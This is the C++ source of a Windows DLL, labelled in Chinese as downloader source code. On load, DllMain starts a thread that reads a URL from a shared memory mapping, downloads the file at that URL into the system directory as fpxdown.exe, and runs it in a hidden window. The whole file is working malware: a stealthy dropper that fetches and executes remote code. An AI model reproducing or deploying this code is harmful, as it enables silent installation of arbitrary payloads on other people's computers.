xiazai.cpp

c++写得下载者源码

// xiazai.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include <afxdllx.h>
#include <windows.h>
#include <UrlMon.h>
//#include <stdio.h>
#pragma comment(lib, "urlmon.lib")



#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

DWORD WINAPI ThreadFun();
static AFX_EXTENSION_MODULE XiazaiDLL = { NULL, NULL };

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
	// Remove this if you use lpReserved
	UNREFERENCED_PARAMETER(lpReserved);

	if (dwReason == DLL_PROCESS_ATTACH)
	{
		//TRACE0("XIAZAI.DLL Initializing!\n");
		
		// Extension DLL one-time initialization
		//if (!AfxInitExtensionModule(XiazaiDLL, hInstance))
		//	return 0;

		// Insert this DLL into the resource chain
		// NOTE: If this Extension DLL is being implicitly linked to by
		//  an MFC Regular DLL (such as an ActiveX Control)
		//  instead of an MFC application, then you will want to
		//  remove this line from DllMain and put it in a separate
		//  function exported from this Extension DLL.  The Regular DLL
		//  that uses this Extension DLL should then explicitly call that
		//  function to initialize this Extension DLL.  Otherwise,
		//  the CDynLinkLibrary object will not be attached to the
		//  Regular DLL's resource chain, and serious problems will
		//  result.
	 
     HANDLE hNewThread = CreateThread ( NULL, 0,(LPTHREAD_START_ROUTINE )ThreadFun, NULL, 0, 0 ) ; 
	//	new CDynLinkLibrary(XiazaiDLL);

	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		TRACE0("XIAZAI.DLL Terminating!\n");
		// Terminate the library before destructors are called
		AfxTermExtensionModule(XiazaiDLL);
	}
	return 1;   // ok
}


DWORD WINAPI  ThreadFun()
{
				char a[MAX_PATH];
				HANDLE hmap=NULL; 
				LPTSTR lp;
				hmap=OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,"myfile");
				lp=(LPTSTR)MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0);
				strcpy(a,lp);
				
                char b[MAX_PATH];
                char dir[MAX_PATH];
                
                GetSystemDirectory( b,MAX_PATH);
                GetSystemDirectory( dir,MAX_PATH);
                strcat(b,"\\fpxdown.exe");
                URLDownloadToFile(0,a,b,0,0);
                ShellExecute(NULL,"open",b,"","",SW_HIDE);
				return 1;
}